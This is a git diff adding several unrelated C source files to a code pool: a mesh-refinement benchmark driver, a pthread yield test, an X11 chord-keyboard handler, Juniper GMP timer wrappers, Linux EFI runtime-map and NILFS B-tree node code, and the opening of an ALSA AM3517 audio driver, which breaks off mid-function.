+/* ============================================================================= + * initializeWork + * ============================================================================= + */ +static long +initializeWork (heap_t* workHeapPtr, mesh_t* meshPtr) +{ + random_t* randomPtr = random_alloc(); + random_seed(randomPtr, 0); + mesh_shuffleBad(meshPtr, randomPtr); + random_free(randomPtr); + long numBad = 0; + + while (1) { + element_t* elementPtr = mesh_getBad(meshPtr); + if (!elementPtr) { + break; + } + numBad++; + bool status = heap_insert(workHeapPtr, (void*)elementPtr); + assert(status); + element_setIsReferenced(elementPtr, true); + } + + return numBad; +} + + +/* ============================================================================= + * process + * ============================================================================= + */ +void +process (void*) +{ + TM_THREAD_ENTER(); + + heap_t* workHeapPtr = global_workHeapPtr; + mesh_t* meshPtr = global_meshPtr; + region_t* regionPtr; + long totalNumAdded = 0; + long numProcess = 0; + + regionPtr = PREGION_ALLOC(); + assert(regionPtr); + + while (1) { + + element_t* elementPtr; + + TM_BEGIN(); + elementPtr = (element_t*)TMHEAP_REMOVE(workHeapPtr); + TM_END(); + if (elementPtr == NULL) { + break; + } + + bool isGarbage; + TM_BEGIN(); + isGarbage = TMELEMENT_ISGARBAGE(elementPtr); + TM_END(); + if (isGarbage) { + /* + * Handle delayed deallocation + */ + PELEMENT_FREE(elementPtr); + continue; + } + + long numAdded; + + TM_BEGIN(); + PREGION_CLEARBAD(regionPtr); + numAdded = TMREGION_REFINE(regionPtr, elementPtr, meshPtr); + TM_END(); + + TM_BEGIN(); + TMELEMENT_SETISREFERENCED(elementPtr, false); + isGarbage = TMELEMENT_ISGARBAGE(elementPtr); + TM_END(); + if (isGarbage) { + /* + * Handle delayed deallocation + */ + PELEMENT_FREE(elementPtr); + } + + totalNumAdded += numAdded; + + TM_BEGIN(); + TMREGION_TRANSFERBAD(regionPtr, workHeapPtr); + TM_END(); + + numProcess++; + + } + + TM_BEGIN(); + TM_SHARED_WRITE_L(global_totalNumAdded, + TM_SHARED_READ_L(global_totalNumAdded) + totalNumAdded); + TM_SHARED_WRITE_L(global_numProcess, + TM_SHARED_READ_L(global_numProcess) + numProcess); + TM_END(); + + PREGION_FREE(regionPtr); + TM_THREAD_EXIT(); +} + +comparator_t yada_heapcompare(&element_heapCompare, &TMelement_heapCompare); + +/* ============================================================================= + * main + * ============================================================================= + */ +MAIN(argc, argv) +{ + /* + * Initialization + */ + + parseArgs(argc, (char** const)argv); + SIM_GET_NUM_CPU(global_numThread); + TM_STARTUP(global_numThread); + P_MEMORY_STARTUP(global_numThread); + thread_startup(global_numThread); + global_meshPtr = mesh_alloc(); + assert(global_meshPtr); + printf("Angle constraint = %lf\n", global_angleConstraint); + printf("Reading input... "); + long initNumElement = mesh_read(global_meshPtr, (char*)global_inputPrefix); + puts("done."); + global_workHeapPtr = heap_alloc(1, &yada_heapcompare); + assert(global_workHeapPtr); + long initNumBadElement = initializeWork(global_workHeapPtr, global_meshPtr); + + printf("Initial number of mesh elements = %li\n", initNumElement); + printf("Initial number of bad elements = %li\n", initNumBadElement); + printf("Starting triangulation..."); + fflush(stdout); + + /* + * Run benchmark + */ + + // NB: Since ASF/PTLSim "REAL" is native execution, and since we are using + // wallclock time, we want to be sure we read time inside the + // simulator, or else we report native cycles spent on the benchmark + // instead of simulator cycles. + GOTO_SIM(); + TIMER_T start; + TIMER_READ(start); +#ifdef OTM +#pragma omp parallel + { + process(); + } +#else + thread_start((void(*)(void*))process, NULL); +#endif + TIMER_T stop; + TIMER_READ(stop); + // NB: As above, timer reads must be done inside of the simulated region + // for PTLSim/ASF + GOTO_REAL(); + + puts(" done."); + printf("Elapsed time = %0.3lf\n", + TIMER_DIFF_SECONDS(start, stop)); + fflush(stdout); + + /* + * Check solution + */ + + long finalNumElement = initNumElement + global_totalNumAdded; + printf("Final mesh size = %li\n", finalNumElement); + printf("Number of elements processed = %li\n", global_numProcess); + fflush(stdout); + +#if 1 + bool isSuccess = mesh_check(global_meshPtr, finalNumElement); +#else + bool isSuccess = true; +#endif + printf("Final mesh is %s\n", (isSuccess ? "valid." : "INVALID!")); + fflush(stdout); + assert(isSuccess); + + /* + * TODO: deallocate mesh and work heap + */ + TM_SHUTDOWN(); + P_MEMORY_SHUTDOWN(); + + GOTO_SIM(); + + thread_shutdown(); + + MAIN_RETURN(0); +} + + +/* ============================================================================= + * + * End of ruppert.c + * + * ============================================================================= + */ diff --git a/pool/shard011/C/0141769_thread3.c b/pool/shard011/C/0141769_thread3.c new file mode 100644 index 0000000000000000000000000000000000000000..3b6945ad3c355f1b895cf3f8a85391c0268be88b --- /dev/null +++ b/pool/shard011/C/0141769_thread3.c @@ -0,0 +1,46 @@ +/* Compiler options: +#cc: additional_flags=-pthread +#notarget: cris*-*-elf + + To test sched_yield in the presencs of threads. Core from ex1.c. */ + +#include +#include +#include +#include +#include + +static void * +process (void *arg) +{ + int i; + for (i = 0; i < 10; i++) + { + if (sched_yield () != 0) + abort (); + } + return NULL; +} + +int +main (void) +{ + int retcode; + pthread_t th_a, th_b; + void *retval; + + retcode = pthread_create (&th_a, NULL, process, (void *) "a"); + if (retcode != 0) + abort (); + retcode = pthread_create (&th_b, NULL, process, (void *) "b"); + if (retcode != 0) + abort (); + retcode = pthread_join (th_a, &retval); + if (retcode != 0) + abort (); + retcode = pthread_join (th_b, &retval); + if (retcode != 0) + abort (); + printf ("pass\n"); + return 0; +} diff --git a/pool/shard011/C/0141770_devices.c b/pool/shard011/C/0141770_devices.c new file mode 100644 index 0000000000000000000000000000000000000000..37eb3d77070e91e2979a3f5c733049f9c46f30b1 --- /dev/null +++ b/pool/shard011/C/0141770_devices.c @@ -0,0 +1,155 @@ +/* Narcissus + * © 2015 David Given + * This file is redistributable under the terms of the two-clause BSD license; + * see COPYING in the distribution root for the full text. + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include "devices.h" + +static int numbuttons; +static int numchords; + +static struct button* buttons; +static struct chord* chords; + +static int chord_comparator_cb(const void* o1, const void* o2) +{ + const struct chord* s1 = o1; + const struct chord* s2 = o2; + + if (s1->buttons < s2->buttons) + return -1; + if (s1->buttons > s2->buttons) + return 1; + return 0; +} + +static int button_comparator_cb(const void* o1, const void* o2) +{ + const struct button* s1 = o1; + const struct button* s2 = o2; + + if (s1->keycode < s2->keycode) + return -1; + if (s1->keycode > s2->keycode) + return 1; + return 0; +} + +const struct device* find_connected_device(Display* display, int* deviceid) +{ + int num; + XIDeviceInfo* devices = XIQueryDevice(display, XIAllDevices, &num); + for (int i=0; inum_classes; j++) + is_keyboard = is_keyboard || (info->classes[j]->type == XIKeyClass); + + if (is_keyboard) + { + const struct device* device = find_device_by_name(info->name); + if (device) + { + printf("Found %s\n", info->name); + if (deviceid) + *deviceid = info->deviceid; + return device; + } + } + } + + return NULL; +} + +const struct device* find_device_by_name(const char* name) +{ + if (strcmp(razer_nostromo.name, name) == 0) + return &razer_nostromo; + return NULL; +} + +static void print_chord(uint32_t chord) +{ + for (int i=0; i<32; i++) + if (chord & (1<buttons; + numbuttons = 0; + while (b->keycode) + { + numbuttons++; + b++; + } + + const struct chord* c = device->chords; + numchords = 0; + while (c->buttons) + { + numchords++; + c++; + } + + printf("%d buttons, %d chords\n", numbuttons, numchords); + + buttons = calloc(numbuttons, sizeof(struct button)); + memcpy(buttons, device->buttons, numbuttons * sizeof(struct button)); + qsort(buttons, numbuttons, sizeof(struct button), button_comparator_cb); + + chords = calloc(numchords, sizeof(struct chord)); + memcpy(chords, device->chords, numchords * sizeof(struct chord)); + qsort(chords, numchords, sizeof(struct chord), chord_comparator_cb); + + /* Check the chordmap for collisions. */ + + for (int i=0; i<(numchords-1); i++) + { + struct chord* left = &chords[i]; + struct chord* right = &chords[i+1]; + if (left->buttons == right->buttons) + { + printf("warning: chord "); + print_chord(left->buttons); + printf("collides: keysyms '%s' and '%s'\n", + XKeysymToString(left->keysym), + XKeysymToString(right->keysym)); + } + } +} + +uint32_t keycode_to_button(int keysym) +{ + const struct button key = { keysym, 0 }; + const struct button* b = bsearch(&key, + buttons, numbuttons, sizeof(struct button), button_comparator_cb); + + if (b) + return b->button; + return 0; +} + +int decode_chord(uint32_t buttons) +{ + const struct chord key = { buttons, 0 }; + const struct chord* c = bsearch(&key, + chords, numchords, sizeof(struct chord), chord_comparator_cb); + + if (c) + return c->keysym; + return 0; +} + diff --git a/pool/shard011/C/0141771_gmpx_environment.c b/pool/shard011/C/0141771_gmpx_environment.c new file mode 100644 index 0000000000000000000000000000000000000000..87a80ba3a9082113f0b12c4c073425e601b73dff --- /dev/null +++ b/pool/shard011/C/0141771_gmpx_environment.c @@ -0,0 +1,233 @@ +/* + * Copyright (c) 2017 Juniper Networks, Inc. All rights reserved. + */ + +#include "gmpx_basic_types.h" +#include "gmp.h" +#include "gmp_intf.h" +#include "gmpx_environment.h" +#include "gmp_map.h" + +static inline gmp_proto +mc_af_to_gmp_proto (const mc_af mcaf) +{ + switch (mcaf) { + case MCAST_AF_IPV4: + return GMP_PROTO_IGMP; + case MCAST_AF_IPV6: + return GMP_PROTO_MLD; + default: + assert(FALSE); + } + return GMP_PROTO_IGMP; /* Statement added to avoid compiler warnings. */ +} + +/* Statics... */ + +static boolean initialized = FALSE; +static block_t gmpx_timer_block; +static task_timer_root *gmpx_timer_roots[GMP_NUM_TIMER_GROUPS][GMP_NUM_PROTOS]; + + +/* + * gmpx_smear_timer_group + * + * Smear the timers for a protocol and group. + */ +void +gmpx_smear_timer_group (gmp_proto proto, gmp_timer_group group) +{ + /* Smear the timers. */ + + task_timer_smear_auto_parent_timers(gmpx_timer_roots[group][proto]); +} + + +/* + * gmpx_destroy_timer + * + * Get rid of a timer. + */ +void +gmpx_destroy_timer (gmpx_timer *timer) +{ + if (!timer) + return; + + /* Free the rpd timer. */ + + task_timer_delete(timer->gmpxt_timer); + + /* Free the block. */ + + task_block_free(gmpx_timer_block, timer); +} + + +/* + * gmpx_start_timer + * + * Start a timer. + */ +void +gmpx_start_timer (gmpx_timer *timer, uint32_t ivl, uint32_t jitter_pct) +{ + utime_t long_ivl; + + /* Convert the timer interval to a utime_t. */ + + long_ivl.ut_sec = ivl / MSECS_PER_SEC; + long_ivl.ut_usec = (ivl % MSECS_PER_SEC) * USECS_PER_MSEC; + + /* Start the timer. */ + + task_timer_uset_alt_root_auto_parent_oneshot( + gmpx_timer_roots[timer->gmpxt_group][timer->gmpxt_proto], + timer->gmpxt_timer, &long_ivl, jitter_pct); +} + + +/* + * gmpx_timer_expiry + * + * Handle a timer expiry. + */ +static void +gmpx_timer_expiry (task_timer *rpd_timer, time_t tm UNUSED) +{ + gmpx_timer *timer; + + /* Stop the timer and then call the caller's callback. */ + + task_timer_reset(rpd_timer); + timer = task_timer_data(rpd_timer); + + if (timer->gmpxt_callback) + (*timer->gmpxt_callback)(timer, timer->gmpxt_context); +} + + +/* + * gmpx_create_grouped_timer + * + * Create a timer as part of a group. + * + * Returns a pointer to a timer, or NULL if out of memory. + */ +gmpx_timer * +gmpx_create_grouped_timer (gmp_timer_group group, void *inst_context, + const char *name, gmpx_timer_callback callback, + void *timer_context) +{ + gmpx_timer *timer; + mc_af af; + mgm_global_data *gd; + gmp_timer_group group_num; + gmp_proto proto; + + gd = inst_context; + af = gd->mgm_gd_af; + + /* If we haven't initialized, do so now. */ + + if (!initialized) { + gmpx_timer_block = task_block_init(sizeof(gmpx_timer), "GMP timer"); + for (proto = 0; proto < GMP_NUM_PROTOS; proto++) { + for (group_num = 0; group_num < GMP_NUM_TIMER_GROUPS; + group_num++) { + gmpx_timer_roots[group_num][proto] = + task_timer_get_auto_parent_root(); + } + } + initialized = TRUE; + } + + /* Allocate the timer block. */ + + timer = task_block_alloc(gmpx_timer_block); + if (timer) { + + /* Got one. Initialize the block. */ + + timer->gmpxt_timer = + task_timer_create_idle_leaf(gd->tp, name, 0, NULL, + gmpx_timer_expiry, timer); + timer->gmpxt_context = timer_context; + timer->gmpxt_callback = callback; + timer->gmpxt_group = group; + timer->gmpxt_proto = mc_af_to_gmp_proto(af); + } + + return timer; +} + + +/* + * gmpx_create_timer + * + * Create a timer. + * + * Returns a pointer to a timer, or NULL if out of memory. + */ +gmpx_timer * +gmpx_create_timer (void *inst_context, const char *name, + gmpx_timer_callback callback, void *timer_context) +{ + return gmpx_create_grouped_timer(GMP_TIMER_GROUP_DEFAULT, inst_context, + name, callback, timer_context); +} + + +/* + * gmpx_timer_time_remaining + * + * Returns the time remaining before expiration of a timer, in millseconds. + */ +uint32_t +gmpx_timer_time_remaining (gmpx_timer *timer) +{ + utime_t time_left_usec; + uint32_t time_left_msec; + + if (!timer) + return 0; + + /* Get the remaining time. */ + + task_timer_utime_left(timer->gmpxt_timer, &time_left_usec); + time_left_msec = ((time_left_usec.ut_sec * MSECS_PER_SEC) + + (time_left_usec.ut_usec / USECS_PER_MSEC)); + + return time_left_msec; +} + + +/* + * gmpx_timer_running + * + * Returns TRUE if the timer is running, or FALSE if it is not. + */ +boolean +gmpx_timer_running (gmpx_timer *timer) +{ + if (!timer) + return FALSE; + + return task_timer_running(timer->gmpxt_timer); +} + + +/* + * gmpx_stop_timer + * + * Stop a timer. + */ +void +gmpx_stop_timer (gmpx_timer *timer) +{ + if (!timer) + return; + + task_timer_reset(timer->gmpxt_timer); +} + diff --git a/pool/shard011/C/0141772_runtime-map.c b/pool/shard011/C/0141772_runtime-map.c new file mode 100644 index 0000000000000000000000000000000000000000..018c29a2661553004fc5639a71ef5af9de9849b2 --- /dev/null +++ b/pool/shard011/C/0141772_runtime-map.c @@ -0,0 +1,202 @@ +/* + * linux/drivers/efi/runtime-map.c + * Copyright (C) 2013 Red Hat, Inc., Dave Young + * + * This file is released under the GPLv2. + */ + +#include +#include +#include +#include +#include +#include + +#include + +static void *efi_runtime_map; +static int nr_efi_runtime_map; +static u32 efi_memdesc_size; + +struct efi_runtime_map_entry { + efi_memory_desc_t md; + struct kobject kobj; /* kobject for each entry */ +}; + +static struct efi_runtime_map_entry **map_entries; + +struct map_attribute { + struct attribute attr; + ssize_t (*show)(struct efi_runtime_map_entry *entry, char *buf); +}; + +static inline struct map_attribute *to_map_attr(struct attribute *attr) +{ + return container_of(attr, struct map_attribute, attr); +} + +static ssize_t type_show(struct efi_runtime_map_entry *entry, char *buf) +{ + return snprintf(buf, PAGE_SIZE, "0x%x\n", entry->md.type); +} + +#define EFI_RUNTIME_FIELD(var) entry->md.var + +#define EFI_RUNTIME_U64_ATTR_SHOW(name) \ +static ssize_t name##_show(struct efi_runtime_map_entry *entry, char *buf) \ +{ \ + return snprintf(buf, PAGE_SIZE, "0x%llx\n", EFI_RUNTIME_FIELD(name)); \ +} + +EFI_RUNTIME_U64_ATTR_SHOW(phys_addr); +EFI_RUNTIME_U64_ATTR_SHOW(virt_addr); +EFI_RUNTIME_U64_ATTR_SHOW(num_pages); +EFI_RUNTIME_U64_ATTR_SHOW(attribute); + +static inline struct efi_runtime_map_entry *to_map_entry(struct kobject *kobj) +{ + return container_of(kobj, struct efi_runtime_map_entry, kobj); +} + +static ssize_t map_attr_show(struct kobject *kobj, struct attribute *attr, + char *buf) +{ + struct efi_runtime_map_entry *entry = to_map_entry(kobj); + struct map_attribute *map_attr = to_map_attr(attr); + + return map_attr->show(entry, buf); +} + +static struct map_attribute map_type_attr = __ATTR_RO(type); +static struct map_attribute map_phys_addr_attr = __ATTR_RO(phys_addr); +static struct map_attribute map_virt_addr_attr = __ATTR_RO(virt_addr); +static struct map_attribute map_num_pages_attr = __ATTR_RO(num_pages); +static struct map_attribute map_attribute_attr = __ATTR_RO(attribute); + +/* + * These are default attributes that are added for every memmap entry. + */ +static struct attribute *def_attrs[] = { + &map_type_attr.attr, + &map_phys_addr_attr.attr, + &map_virt_addr_attr.attr, + &map_num_pages_attr.attr, + &map_attribute_attr.attr, + NULL +}; + +static const struct sysfs_ops map_attr_ops = { + .show = map_attr_show, +}; + +static void map_release(struct kobject *kobj) +{ + struct efi_runtime_map_entry *entry; + + entry = to_map_entry(kobj); + kfree(entry); +} + +static struct kobj_type __refdata map_ktype = { + .sysfs_ops = &map_attr_ops, + .default_attrs = def_attrs, + .release = map_release, +}; + +static struct kset *map_kset; + +static struct efi_runtime_map_entry * +add_sysfs_runtime_map_entry(struct kobject *kobj, int nr) +{ + int ret; + struct efi_runtime_map_entry *entry; + + if (!map_kset) { + map_kset = kset_create_and_add("runtime-map", NULL, kobj); + if (!map_kset) + return ERR_PTR(-ENOMEM); + } + + entry = kzalloc(sizeof(*entry), GFP_KERNEL); + if (!entry) { + kset_unregister(map_kset); + return entry; + } + + memcpy(&entry->md, efi_runtime_map + nr * efi_memdesc_size, + sizeof(efi_memory_desc_t)); + + kobject_init(&entry->kobj, &map_ktype); + entry->kobj.kset = map_kset; + ret = kobject_add(&entry->kobj, NULL, "%d", nr); + if (ret) { + kobject_put(&entry->kobj); + kset_unregister(map_kset); + return ERR_PTR(ret); + } + + return entry; +} + +int efi_get_runtime_map_size(void) +{ + return nr_efi_runtime_map * efi_memdesc_size; +} + +int efi_get_runtime_map_desc_size(void) +{ + return efi_memdesc_size; +} + +int efi_runtime_map_copy(void *buf, size_t bufsz) +{ + size_t sz = efi_get_runtime_map_size(); + + if (sz > bufsz) + sz = bufsz; + + memcpy(buf, efi_runtime_map, sz); + return 0; +} + +void efi_runtime_map_setup(void *map, int nr_entries, u32 desc_size) +{ + efi_runtime_map = map; + nr_efi_runtime_map = nr_entries; + efi_memdesc_size = desc_size; +} + +int __init efi_runtime_map_init(struct kobject *efi_kobj) +{ + int i, j, ret = 0; + struct efi_runtime_map_entry *entry; + + if (!efi_runtime_map) + return 0; + + map_entries = kzalloc(nr_efi_runtime_map * sizeof(entry), GFP_KERNEL); + if (!map_entries) { + ret = -ENOMEM; + goto out; + } + + for (i = 0; i < nr_efi_runtime_map; i++) { + entry = add_sysfs_runtime_map_entry(efi_kobj, i); + if (IS_ERR(entry)) { + ret = PTR_ERR(entry); + goto out_add_entry; + } + *(map_entries + i) = entry; + } + + return 0; +out_add_entry: + for (j = i - 1; j > 0; j--) { + entry = *(map_entries + j); + kobject_put(&entry->kobj); + } + if (map_kset) + kset_unregister(map_kset); +out: + return ret; +} diff --git a/pool/shard011/C/0141773_btnode.c b/pool/shard011/C/0141773_btnode.c new file mode 100644 index 0000000000000000000000000000000000000000..2d2daa54a9d5397fc980b672e9f509adfdfb06ce --- /dev/null +++ b/pool/shard011/C/0141773_btnode.c @@ -0,0 +1,297 @@ +/* + * btnode.c - NILFS B-tree node cache + * + * Copyright (C) 2005-2008 Nippon Telegraph and Telephone Corporation. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA + * + * This file was originally written by Seiji Kihara + * and fully revised by Ryusuke Konishi for + * stabilization and simplification. + * + */ + +#include +#include +#include +#include +#include +#include "nilfs.h" +#include "mdt.h" +#include "dat.h" +#include "page.h" +#include "btnode.h" + +void nilfs_btnode_cache_clear(struct address_space *btnc) +{ + invalidate_mapping_pages(btnc, 0, -1); + truncate_inode_pages(btnc, 0); +} + +struct buffer_head * +nilfs_btnode_create_block(struct address_space *btnc, __u64 blocknr) +{ + struct inode *inode = NILFS_BTNC_I(btnc); + struct buffer_head *bh; + + bh = nilfs_grab_buffer(inode, btnc, blocknr, 1 << BH_NILFS_Node); + if (unlikely(!bh)) + return NULL; + + if (unlikely(buffer_mapped(bh) || buffer_uptodate(bh) || + buffer_dirty(bh))) { + brelse(bh); + BUG(); + } + memset(bh->b_data, 0, 1 << inode->i_blkbits); + bh->b_bdev = inode->i_sb->s_bdev; + bh->b_blocknr = blocknr; + set_buffer_mapped(bh); + set_buffer_uptodate(bh); + + unlock_page(bh->b_page); + page_cache_release(bh->b_page); + return bh; +} + +int nilfs_btnode_submit_block(struct address_space *btnc, __u64 blocknr, + sector_t pblocknr, int mode, + struct buffer_head **pbh, sector_t *submit_ptr) +{ + struct buffer_head *bh; + struct inode *inode = NILFS_BTNC_I(btnc); + struct page *page; + int err; + + bh = nilfs_grab_buffer(inode, btnc, blocknr, 1 << BH_NILFS_Node); + if (unlikely(!bh)) + return -ENOMEM; + + err = -EEXIST; /* internal code */ + page = bh->b_page; + + if (buffer_uptodate(bh) || buffer_dirty(bh)) + goto found; + + if (pblocknr == 0) { + pblocknr = blocknr; + if (inode->i_ino != NILFS_DAT_INO) { + struct the_nilfs *nilfs = inode->i_sb->s_fs_info; + + /* blocknr is a virtual block number */ + err = nilfs_dat_translate(nilfs->ns_dat, blocknr, + &pblocknr); + if (unlikely(err)) { + brelse(bh); + goto out_locked; + } + } + } + + if (mode == READA) { + if (pblocknr != *submit_ptr + 1 || !trylock_buffer(bh)) { + err = -EBUSY; /* internal code */ + brelse(bh); + goto out_locked; + } + } else { /* mode == READ */ + lock_buffer(bh); + } + if (buffer_uptodate(bh)) { + unlock_buffer(bh); + err = -EEXIST; /* internal code */ + goto found; + } + set_buffer_mapped(bh); + bh->b_bdev = inode->i_sb->s_bdev; + bh->b_blocknr = pblocknr; /* set block address for read */ + bh->b_end_io = end_buffer_read_sync; + get_bh(bh); + submit_bh(mode, bh); + bh->b_blocknr = blocknr; /* set back to the given block address */ + *submit_ptr = pblocknr; + err = 0; +found: + *pbh = bh; + +out_locked: + unlock_page(page); + page_cache_release(page); + return err; +} + +/** + * nilfs_btnode_delete - delete B-tree node buffer + * @bh: buffer to be deleted + * + * nilfs_btnode_delete() invalidates the specified buffer and delete the page + * including the buffer if the page gets unbusy. + */ +void nilfs_btnode_delete(struct buffer_head *bh) +{ + struct address_space *mapping; + struct page *page = bh->b_page; + pgoff_t index = page_index(page); + int still_dirty; + + page_cache_get(page); + lock_page(page); + wait_on_page_writeback(page); + + nilfs_forget_buffer(bh); + still_dirty = PageDirty(page); + mapping = page->mapping; + unlock_page(page); + page_cache_release(page); + + if (!still_dirty && mapping) + invalidate_inode_pages2_range(mapping, index, index); +} + +/** + * nilfs_btnode_prepare_change_key + * prepare to move contents of the block for old key to one of new key. + * the old buffer will not be removed, but might be reused for new buffer. + * it might return -ENOMEM because of memory allocation errors, + * and might return -EIO because of disk read errors. + */ +int nilfs_btnode_prepare_change_key(struct address_space *btnc, + struct nilfs_btnode_chkey_ctxt *ctxt) +{ + struct buffer_head *obh, *nbh; + struct inode *inode = NILFS_BTNC_I(btnc); + __u64 oldkey = ctxt->oldkey, newkey = ctxt->newkey; + int err; + + if (oldkey == newkey) + return 0; + + obh = ctxt->bh; + ctxt->newbh = NULL; + + if (inode->i_blkbits == PAGE_CACHE_SHIFT) { + lock_page(obh->b_page); + /* + * We cannot call radix_tree_preload for the kernels older + * than 2.6.23, because it is not exported for modules. + */ +retry: + err = radix_tree_preload(GFP_NOFS & ~__GFP_HIGHMEM); + if (err) + goto failed_unlock; + /* BUG_ON(oldkey != obh->b_page->index); */ + if (unlikely(oldkey != obh->b_page->index)) + NILFS_PAGE_BUG(obh->b_page, + "invalid oldkey %lld (newkey=%lld)", + (unsigned long long)oldkey, + (unsigned long long)newkey); + + spin_lock_irq(&btnc->tree_lock); + err = radix_tree_insert(&btnc->page_tree, newkey, obh->b_page); + spin_unlock_irq(&btnc->tree_lock); + /* + * Note: page->index will not change to newkey until + * nilfs_btnode_commit_change_key() will be called. + * To protect the page in intermediate state, the page lock + * is held. + */ + radix_tree_preload_end(); + if (!err) + return 0; + else if (err != -EEXIST) + goto failed_unlock; + + err = invalidate_inode_pages2_range(btnc, newkey, newkey); + if (!err) + goto retry; + /* fallback to copy mode */ + unlock_page(obh->b_page); + } + + nbh = nilfs_btnode_create_block(btnc, newkey); + if (!nbh) + return -ENOMEM; + + BUG_ON(nbh == obh); + ctxt->newbh = nbh; + return 0; + + failed_unlock: + unlock_page(obh->b_page); + return err; +} + +/** + * nilfs_btnode_commit_change_key + * commit the change_key operation prepared by prepare_change_key(). + */ +void nilfs_btnode_commit_change_key(struct address_space *btnc, + struct nilfs_btnode_chkey_ctxt *ctxt) +{ + struct buffer_head *obh = ctxt->bh, *nbh = ctxt->newbh; + __u64 oldkey = ctxt->oldkey, newkey = ctxt->newkey; + struct page *opage; + + if (oldkey == newkey) + return; + + if (nbh == NULL) { /* blocksize == pagesize */ + opage = obh->b_page; + if (unlikely(oldkey != opage->index)) + NILFS_PAGE_BUG(opage, + "invalid oldkey %lld (newkey=%lld)", + (unsigned long long)oldkey, + (unsigned long long)newkey); + mark_buffer_dirty(obh); + + spin_lock_irq(&btnc->tree_lock); + radix_tree_delete(&btnc->page_tree, oldkey); + radix_tree_tag_set(&btnc->page_tree, newkey, + PAGECACHE_TAG_DIRTY); + spin_unlock_irq(&btnc->tree_lock); + + opage->index = obh->b_blocknr = newkey; + unlock_page(opage); + } else { + nilfs_copy_buffer(nbh, obh); + mark_buffer_dirty(nbh); + + nbh->b_blocknr = newkey; + ctxt->bh = nbh; + nilfs_btnode_delete(obh); /* will decrement bh->b_count */ + } +} + +/** + * nilfs_btnode_abort_change_key + * abort the change_key operation prepared by prepare_change_key(). + */ +void nilfs_btnode_abort_change_key(struct address_space *btnc, + struct nilfs_btnode_chkey_ctxt *ctxt) +{ + struct buffer_head *nbh = ctxt->newbh; + __u64 oldkey = ctxt->oldkey, newkey = ctxt->newkey; + + if (oldkey == newkey) + return; + + if (nbh == NULL) { /* blocksize == pagesize */ + spin_lock_irq(&btnc->tree_lock); + radix_tree_delete(&btnc->page_tree, newkey); + spin_unlock_irq(&btnc->tree_lock); + unlock_page(ctxt->bh->b_page); + } else + brelse(nbh); +} diff --git a/pool/shard011/C/0141774_am3517evm.c b/pool/shard011/C/0141774_am3517evm.c new file mode 100644 index 0000000000000000000000000000000000000000..df8f795d36608fdf5f78e76eaa1ec0f77e1ee99a --- /dev/null +++ b/pool/shard011/C/0141774_am3517evm.c @@ -0,0 +1,172 @@ +/* + * am3517evm.c -- ALSA SoC support for OMAP3517 / AM3517 EVM + * + * Author: Anuj Aggarwal + * + * Based on sound/soc/omap/beagle.c by Steve Sakoman + * + * Copyright (C) 2009 Texas Instruments Incorporated + * + * This program is free software; you can redistribute it and/or modify it + * under the terms of the GNU General Public License as published by the + * Free Software Foundation version 2. + * + * This program is distributed "as is" WITHOUT ANY WARRANTY of any kind, + * whether express or implied; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + */ + +#include +#include +#include +#include +#include +#include + +#include +#include +#include +#include + +#include "omap-mcbsp.h" +#include "omap-pcm.h" + +#include "../codecs/tlv320aic23.h" + +#define CODEC_CLOCK 12000000 + +static int am3517evm_hw_params(struct snd_pcm_substream *substream, + struct snd_pcm_hw_params *params) +{ + struct snd_soc_pcm_runtime *rtd = substream->private_data; + struct snd_soc_dai *codec_dai = rtd->codec_dai; + struct snd_soc_dai *cpu_dai = rtd->cpu_dai; + int ret; + + /* Set the codec system clock for DAC and ADC */ + ret = snd_soc_dai_set_sysclk(codec_dai, 0, + CODEC_CLOCK, SND_SOC_CLOCK_IN); + if (ret < 0) { + printk(KERN_ERR "can't set codec system clock\n"); + return ret; + } + + ret = snd_soc_dai_set_sysclk(cpu_dai, OMAP_MCBSP_CLKR_SRC_CLKX, 0, + SND_SOC_CLOCK_IN); + if (ret < 0) { + printk(KERN_ERR "can't set CPU system clock OMAP_MCBSP_CLKR_SRC_CLKX\n"); + return ret; + } + + snd_soc_dai_set_sysclk(cpu_dai, OMAP_MCBSP_FSR_SRC_FSX, 0, + SND_SOC_CLOCK_IN); + if (ret < 0) { + printk(KERN_ERR "can't set CPU system clock OMAP_MCBSP_FSR_SRC_FSX\n"); + return ret; + } + + return 0; +} + +static struct snd_soc_ops am3517evm_ops = { + .hw_params = am3517evm_hw_params, +}; + +/* am3517evm machine dapm widgets */ +static const struct snd_soc_dapm_widget tlv320aic23_dapm_widgets[] = { + SND_SOC_DAPM_HP("Line Out", NULL), + SND_SOC_DAPM_LINE("Line In", NULL), + SND_SOC_DAPM_MIC("Mic In", NULL), +}; + +static const struct snd_soc_dapm_route audio_map[] = { + /* Line Out connected to LLOUT, RLOUT */ + {"Line Out", NULL, "LOUT"}, + {"Line Out", NULL, "ROUT"}, + + {"LLINEIN", NULL, "Line In"}, + {"RLINEIN", NULL, "Line In"}, + + {"MICIN", NULL, "Mic In"}, +}; + +/* Digital audio interface glue - connects codec <--> CPU */ +static struct snd_soc_dai_link am3517evm_dai = { + .name = "TLV320AIC23", + .stream_name = "AIC23", + .cpu_dai_name ="omap-mcbsp-dai.0", + .codec_dai_name = "tlv320aic23-hifi", + .platform_name = "omap-pcm-audio", + .codec_name = "tlv320aic23-codec.2-001a", + .dai_fmt = SND_SOC_DAIFMT_DSP_B | SND_SOC_DAIFMT_NB_NF | + SND_SOC_DAIFMT_CBM_CFM, + .ops = &am3517evm_ops, +}; + +/* Audio machine driver */ +static struct snd_soc_card snd_soc_am3517evm = { + .name = "am3517evm", + .dai_link = &am3517evm_dai, + .num_links = 1, + + .dapm_widgets = tlv320aic23_dapm_widgets, + .num_dapm_widgets = ARRAY_SIZE(tlv320aic23_dapm_widgets), + .dapm_routes = audio_map, + .num_dapm_routes = ARRAY_SIZE(audio_map), +}; + +static int __devinit am3517evm_soc_probe(struct platform_device *pdev) +{ + struct snd_soc_card *card = &snd_soc_am3517evm; + int ret; + + pr_info("OMAP3517 / AM3517 EVM SoC init\n"); + + card->dev = &pdev->dev; + + ret = snd_soc_register_card(card); + if (ret) { 